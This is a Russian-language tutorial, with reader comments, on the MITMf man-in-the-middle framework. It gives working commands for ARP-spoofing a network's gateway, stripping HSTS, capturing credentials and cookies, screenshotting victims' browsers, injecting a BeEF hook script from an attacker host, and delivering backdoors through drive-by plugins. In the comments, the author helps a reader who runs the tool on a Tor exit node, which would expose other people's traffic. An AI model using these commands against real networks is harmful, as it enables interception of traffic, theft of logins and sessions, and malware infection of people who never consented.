Инструкция по использованию MITMf

Инструкция по использованию MITMf

MITMf — это фреймворк для атак человек-посередине (Man-In-The-Middle). MITMf предназначен для тех же задач, что и Ettercap. Только работа в MITMf, по сравнению с Ettercap, проще.

В инструкции по Ettercap я уже упоминал MITMf. Также при использовании Ettercap для атаки человек-посередине мы практически каждый раз запускали ещё одну или несколько программ, поскольку базовой функциональности Ettercap нам не хватало. С MITMf такого не будет – теперь только одна консоль, в которой только один фреймворк.

На самом деле, мы встретим практически всех наших знакомых из инструкции по Ettercap:

Но здесь все они являются модулями, которые запускаются опциями командной строки или через API.

Кстати, здесь вы найдёте не только обзор плагинов, сюда добавлен материал, который отсутствует даже в официальной документации.

Установка MITMf

Ранее программа работала только при установке из исходников. Судя по всему, в последнее время ситуация изменилась, и установленная из репозиториев программа успешно запускается. В Kali Linux сначала попробуйте так:

sudo apt-get install mitmf mitmflib
sudo mitmf --help

Если ошибок нет и показана справка, значит не нужно устанавливать из исходников, как это показано чуть ниже. В этом случае sudo python mitmf.py из моих примеров нужно заменять на mitmf. Сразу переходите к разделу "Начало работы с MITMf".

Далее показан процесс установки из исходный кодов - теперь это только для тех, у кого не работает версия из стандартных репозиториев.

Следующие инструкции являются результатом чтения официальной документации, а также метода проб и ошибок. Нужно делать именно так, как в них написано – тогда точно заработает.

В Kali Linux если вы работаете из-под рута, то устанавливать и запускать программу нужно так:

apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libxml2-dev libxslt1-dev python-dnslib python-magic python-netfilterqueue python-ua-parser python-user-agents 
pip install virtualenvwrapper
source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
pip install requests[security]
git clone https://github.com/byt3bl33d3r/MITMf
cd MITMf && git submodule init && git submodule update --recursive
pip install -r requirements.txt
python mitmf.py --help

При последующих перезагрузках системы запускать так:

- переходите в каталог со скаченной программой, к примеру:

cd bin/MITMf/

- далее:

source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
python mitmf.py --help

Если вы работаете под обычным пользователем, то нужно делать так:

sudo apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libxml2-dev libxslt1-dev python-dnslib python-magic python-netfilterqueue python-ua-parser python-user-agents
sudo pip install virtualenvwrapper
sudo -s
source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
sudo pip install requests[security]
git clone https://github.com/byt3bl33d3r/MITMf
cd MITMf && git submodule init && git submodule update --recursive
pip install -r requirements.txt
python mitmf.py --help

При последующих перезагрузках системы запускать так:

- переходите в каталог со скаченной программой, к примеру:

cd bin/MITMf/

- далее:

sudo -s
source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
python mitmf.py --help

Начало работы с MITMf

Давайте начнём с чего-нибудь совсем простого и весёлого.

Практически с каждой командой мы будем использовать одни и те же четыре опции. Первой из них является -i, после которой нужно указать свой сетевой интерфейс (например, eth0). Если вы не знаете имя сетевого интерфейса на вашем компьютере, то посмотрите его командой:

ip a

Также мы будем использовать два ключа --spoof --arp. Первый означает загрузить плагин 'Spoof'. А второй – перенаправить трафик используя ARP спуфинг. Это аналогично тому, как мы начинали атаку с Ettercap. Ещё мы будем использовать опцию --gateway, после которой нужно указать адрес шлюза. Обычно это IP адрес роутера. Чаще всего это адрес 192.168.1.1 или 192.168.0.1. Если вы не уверены, то посмотрите его командой

ip r

Итак, в своём базовом варианте команда в моём случае выглядит так:

sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1

В дальнейшем к ней я буду только добавлять разные опции для включения разнообразных плагинов.

В принципе, можно уже и запустить:

sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1

Как видим, программа работает и мы перехватили базовую аутентификацию:

01

Кстати, не нужно запускать отдельно Net-Creds – он уже встроен в MITMf.

Давайте остановим программу и сделаем что-нибудь наглядное. Например, перевернём изображения на всех сайтах (кроме тех, кто использует HTTPS). Для этого к нашей команде добавим ключ --upsidedownternet.

sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --upsidedownternet

Теперь в логах появляются записи вроде такой:

2016-06-19 09:17:29 192.168.1.33 [type:Chrome-51 os:Windows] [Upsidedownternet] Flipped image

А веб-сайты выглядят так:

02

03

Частичный обход HSTS

Для этого достаточно добавить два ключа --dns --hsts. Команда приобретает вид:

sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --dns --hsts

Чтобы получить перевёрнутые изображения даже на сайтах с HTTPS:

sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --dns --hsts --upsidedownternet

Как и другие, опции --dns --hsts можно комбинировать с другими плагинами.

Вставка произвольного содержимого в веб-страницы

Для этого имеется плагин Inject с разнообразными опциями. Для загрузки плагина нам нужно указать --inject, а также дополнительно следующие ключи:

  --js-url JS_URL       URL JS для инжекта
  --js-payload JS_PAYLOAD
                        JS строка для инжекта
  --js-file JS_FILE     Файл, содержащий JS для инжекта
  --html-url HTML_URL   URL HTML для инжекта
  --html-payload HTML_PAYLOAD
                        HTML строка для инжекта
  --html-file HTML_FILE
                        Файл, содержащий HTML для инжекта
  --per-domain          Вставить один раз на домен для одного клиента.
  --rate-limit RATE_LIMIT
                        Вставить один раз каждые RATE_LIMIT секунд на одного клиента.
  --count-limit COUNT_LIMIT
                        Вставить только COUNT_LIMIT раз на одного клиента.
  --white-ips IP        Вставить контент ТОЛЬКО для этих IP (разделять запятыми)
  --black-ips IP        НЕ вставлять содержимое для этих IP (разделять запятыми)
  --white-domains ДОМЕНЫ
                        Вставлять контент ТОЛЬКО для этих доменов (разделять запятыми)
  --black-domains ДОМЕНЫ
                        НЕ вставлять контент для этих доменов (разделять запятыми)

Например, я хочу вставить во все сайты строку <p>I am cool!</p>. Тогда моя комоанда имеет вид:

sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --dns --hsts --inject --html-payload '<p>I am cool!</p>'

Подцепление программой BeEF делается следующим образом (не забудьте отредактировать данные под ваши значения):

--js-url http://beef:3000/hook.js

Захват кукиз

Для этого имеется плагин Ferret-NG, который запускается опцией --ferretng. Например:

sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --dns --hsts --ferretng

Создание скриншотов сайтов

Плагин ScreenShotter использует HTML5 Canvas для отображения точного скриншота клиентских браузеров. Плагин загружается опцией --screen:

sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --dns --hsts --screen

С помощью дополнительной опции --interval можно указать интервал в секундах для создания скриншотов (по умолчанию 10).

Заражение бэкдорами

Для этого есть целых три плагина (плюс можно придумать собственные атаки через инжект в HTML код различного содержимого). Это плагины:

  • FilePwn (Будет отправлен исполнимый бэкдор через http используя bdfactory)
  • BrowserSniper (Выполняет атаки на клиенты легендой об устаревшем плагине браузера)
  • HTA Drive-By (Выполнить атаку с HTA на клиентах)

На мой взгляд, автор MITMf уже сделал всё возможное для того, чтобы использование плагинов в фреймворке было весьма простым. Думаю, на этом можно остановиться в характеристике плагинов. Полный их список, а также список доступных опций и дополнительные примеры вы найдёте в карточке программы MITMf в Энциклопедии инструментов для тестирования на проникновение (Kali.Tools).

Куда MITMf сохраняет захваченные данные и изображения

Абсолютно всё полезное (даже то, чего вы не ждали, например, DNS запросы) MITMf сохраняет в поддиректорию logs в своей директории (например, у меня это /home/mial/bin/MITMf/logs/).

Настройка MITMf

В поддиректории config вы найдёте несколько файлов с настройками. Большинство опций можно поменять в командной строке, но некоторые удобнее отредактировать там. Кроме основного конфигурационного файла MITMf, там вы найдёте файлы для Responder и пример файла для HTA Drive-By.

В основном файле настроек MITMf (mitmf.conf) вы можете поменять значения для BeEF (хост, порт, имя и пароль), Metasploit (хост, порт, пароль), MITMf-API (хост, порт), DNS (добавить разнообразные записи для спуфинга DNS ответов) и другие настройки для разнообразных плагинов, входящих в фреймворк MITMf.

04

Замена HTML при атаке человек-посередине

Для замены содержимого веб-страниц имеется плагин Replace. Он активируется опцией --replace, а настраивается в файле mitmf.conf. В этом файле уже есть два правила:

	[Replace]
	
	[[Regex1]]
		'Google Search' = '44CON'

	[[Regex2]]
		"I'm Feeling Lucky" = "I'm Feeling Something In My Pants"

Вот результат их работы:

06

В инструкции по Ettercap я приводил три примера замены: замена заголовка, добавление данных и подцепление BeEF. Все три примера можно реализовать следующими строками:

	[[Regex3]]
		"<title>.*</title>" = "<title>No Title</title>"

	[[Regex4]]
		"<body.*?>" = "<body><p>I am cool!</p>"

	[[Regex5]]
		"</head>" = "<script src="http://192.168.1.36:3000/hook.js"></head>"

Здесь можно использовать регулярные выражения для поиска.

API MITMf

Чтобы включить или отключить какой-либо плагин, вам не нужно перезапускать MITMf, это можно сделать с использованием API. Для получения списка активных и неактивных плагинов запросите страницу http://127.0.0.1:9999/ Это можно сделать открыв её в браузере или в командной строке:

curl http://127.0.0.1:9999/

Чтобы получить статус какого-то конкретного плагина, то можно сделать так, открыть в браузере страницу

http://127.0.0.1:9999/имя_плагина

Например, http://127.0.0.1:9999/Spoof

А также так:

curl http://127.0.0.1:9999/Spoof

Добавляя через слеш нолики и единички можно, соответственно, отключать и включать любые плагины:

curl http://127.0.0.1:9999/Spoof/0
curl http://127.0.0.1:9999/Spoof/1

05

Фильтры MITMf

В MITMf с помощью плагинов Inject и Replace можно реализовать практически всё, что обычно требуется при вставке/замене HTML. Тем не менее, это не всё! Теперь с помощью Scapy вы можете модифицировать любой пакет/протокол, которые перехватывает MITMf! Более того, вы можете изменять фильтры на лету – без перезапуска MITMf.

Scapy даёт потрясающую гибкость и, пожалуй, безграничные возможности (конечно, если вы умеете пользоваться Scapy).

В качестве примере возьмём крошечный глупый фильтр, который изменяет IP назначения ICMP пакетов:

if packet.haslayer(ICMP):
    log.info('Got an ICMP packet!')
    packet.dst = '192.168.1.0'
  • Используйте переменную packet для доступа к пакетам в формате совместимым с Scapy
  • Используйте переменную data для доступа к сырым данным пакета

Для использования фильтра нужно сделать так:

python mitmf.py -F ~/filter.py

Скорее всего вы захотите комбинировать это с плагином Spoof для действительного перехвата пакетов от кого-то ещё 😉

Решение проблем и ошибок при запуске MITMf

Решение проблемы «Error starting HTTP server: [Errno 98] Address already in use»

Если при запуске MITMf вы видите сообщение:

Error starting HTTP server: [Errno 98] Address already in use

Оно означает, что на вашей системе уже запущен веб-сервер. Этим веб-сервером может быть Apache, hostapd, Nginx. Даже если вы не помните, что устанавливали какой-либо из них, это могло произойти при установке зависимостей для других инструментов. К примеру, пакет hostapd является зависимостью для airgeddon, Fluxion, linset (и других). Если вы используете VPS и готовую установку одного из дистрибутивов, то обычно в них уже предустановлен веб-сервер.

Если вы знаете название веб-сервера, то его можно остановить командой:

sudo systemctl stop название_слулжбы_веб_сервера

Для Apache в Kali Linux / Debian / Ubuntu / Linux Mint это делается командой:

sudo systemctl stop apache2.service

Для Apache в Arch Linux / BlackArch это делается командой

sudo systemctl stop httpd.service

Если вы не знаете название веб-сервера, то проверьте, какая команда прослушивает 80й порт:

sudo ss -pnat

Найдите запись, содержащую :::80 (здесь может быть также указан конкретный IP адрес вашего компьютера):

LISTEN     0      128                             :::80                                          :::*                   users:(("apache2",pid=9238,fd=4),("apache2",pid=9237,fd=4),("apache2",pid=9236,fd=4),("apache2",pid=9235,fd=4),("apache2",pid=9234,fd=4),("apache2",pid=9233,fd=4),("apache2",pid=9194,fd=4))

Ещё пример:

LISTEN     0      128                                                                :::80                                                                             :::*                   users:(("httpd",pid=29253,fd=4),("httpd",pid=21426,fd=4),("httpd",pid=20863,fd=4),("httpd",pid=19910,fd=4),("httpd",pid=19078,fd=4),("httpd",pid=6671,fd=4),("httpd",pid=6665,fd=4),("httpd",pid=6510,fd=4),("httpd",pid=6242,fd=4),("httpd",pid=6239,fd=4),("httpd",pid=6235,fd=4),("httpd",pid=6234,fd=4),("httpd",pid=341,fd=4))

Как видно, в первом случае служба называется apache2, во втором – httpd. Т.е. именно их нужно остановить командой:

sudo systemctl stop название_слулжбы_веб_сервера

Решение проблемы с ошибкой «Couldn't listen on any:10000: [Errno 98] Address already in use.»

Если при запуске MITMf вы видите ошибку:

Couldn't listen on any:10000: [Errno 98] Address already in use.

Это означает, что уже запущен другой экземпляр MITMf.

Простой способ – перезагрузить компьютер и снова попробовать запустить MITMf.

Правильный способ, это закрыть процесс без перезагрузки компьютера. Выполните команду:

sudo ss -pnat

Появятся записи о прослушиваемых портах, программах и их pid. Найдите записи с MITMf. Пример:

LISTEN     0      5                     192.168.0.69:445                                          *:*                   users:(("mitmf.py",pid=6986,fd=38))
LISTEN     0      5                     192.168.0.69:139                                          *:*                   users:(("mitmf.py",pid=6986,fd=39))
LISTEN     0      128                      127.0.0.1:9999                                         *:*                   users:(("mitmf.py",pid=6986,fd=32))
LISTEN     0      5                     192.168.0.69:80                                           *:*                   users:(("mitmf.py",pid=6986,fd=33))
LISTEN     0      50                               *:10000                                        *:*                   users:(("mitmf.py",pid=6986,fd=13))

И закройте их все командой kill. Пример для моего случая:

sudo kill 6986

Заключение

Инструкция получилась не слишком большой (я рад!), но это не означает, что у MITMf маленькая функциональность. Напротив, с MITMf мы может сделать абсолютно всё, для чего в Ettercap нам нужны были разнообразные программы. И даже больше! После понимания принципов работы MITMf, работа с ним становиться интуитивно понятной и достаточно обычной справки, чтобы освоить новый плагин.

Рекомендуемые статьи:

8 комментариев to Инструкция по использованию MITMf

  1. pocoz:

    Спасибо большое! Человечище!

  2. SQuad:

    А чтобы немного упростить себе жизнь и не писать такую штуку

    source /usr/local/bin/virtualenvwrapper.sh

    mkvirtualenv MITMf -p /usr/bin/python2.7

    python mitmf.py "$@"

    можно переписать /usr/bin/mitmf этими же строчками.

    Тогда запуск снова будет происходить одной командой

    • Alexey Alexey:

      И даже этого уже не нужно - у меня теперь в и в Kali Linux, и в BlackArch запускается по

      sudo mitmf --help

      Судя по всему - доработали. Опять нужно переписывать справку и инструкцию frown

  3. Спасибо за отличный сайт и за прекрасные статьи. Только начинаю изучать возможности кали, и Ваш сайт просто находка! Собственно у меня возникли некоторые пробелмы, сперва хотел перевернуть картинки в локальной сети, к сожалению выдал ошибки:

    Нашёл собственно и решение данной проблемы: 

    Можно либо посмотреть на гитхабе: ССЫЛКА

    Либо сделать следующее: (Моя система кали 2016) пути возможно могут отличаться. 

    nano /user/share/mitmf/plugins/upsidedownternet.py

    Далее находим строку с содержимым (ctrl+w)

    self.imageType = response.headers['content-type'].split('/')[1].upper()

    И изменяем её до вида:

    self.imageType = response.responseHeaders.getRawHeaders('content-type')[0].split('/')[1].upper()

    Сохраняем (ctrl+x     y)  и после этого можем запускать mitmf для переворачивания изображений. Как я понял, там сейчас много косяков всплыло с плагинами. Алексей, вот Вам тема для следующей короткой статьи! Как вернуть работоспособность этого прекрасного фреймворка)) 

  4. Igor:

    При запуске вот так:

    [*] MITMf v0.9.8 - 'The Dark Side'
    |_ Spoof v0.6
    |  |_ DNS spoofing enabled
    |  |_ ARP spoofing enabled
    |_ SSLstrip+ v0.4
    |  |_ SSLstrip+ by Leonardo Nve running
    |
    |_ Sergio-Proxy v0.2.1 online
    |_ SSLstrip v0.9 by Moxie Marlinspike online
    |
    |_ Net-Creds v1.0 online
    |_ MITMf-API online
    Error starting HTTP server: [Errno 98] Address already in use
    |_ HTTP server online
     * Running on http://127.0.0.1:9999/ (Press CTRL+C to quit)
    |_ DNSChef v0.4 online
    |_ SMB server online

    Что значит "Error starting HTTP server: [Errno 98] Address already in use" и как это исправить?

    Спасибо.

    • Alexey Alexey:

      Возможно, у вас уже запущен другой веб-сервер (Apache, например). Новый процесс не может привязаться на этот же порт.

      Завтра попробую так сделать и напишу точно.

      • Igor:

        Запускаю на VPS с запущенной TOR exit node. Что нужно изменить чтобы Mitmf запускался и работал?
        Спасибо.

        • Alexey Alexey:

          Удалось добиться получение ошибки как у вас. Дописал эту статью, смотрите раздел "Решение проблем и ошибок при запуске MITMf".

          Как я и думал - это веб-сервер, который обычно уже предустановлен в VPS для удобства пользователей (обычно VPS арендуют для хостинга и в любом случае ставят веб-сервера).

Добавить комментарий

Ваш e-mail не будет опубликован.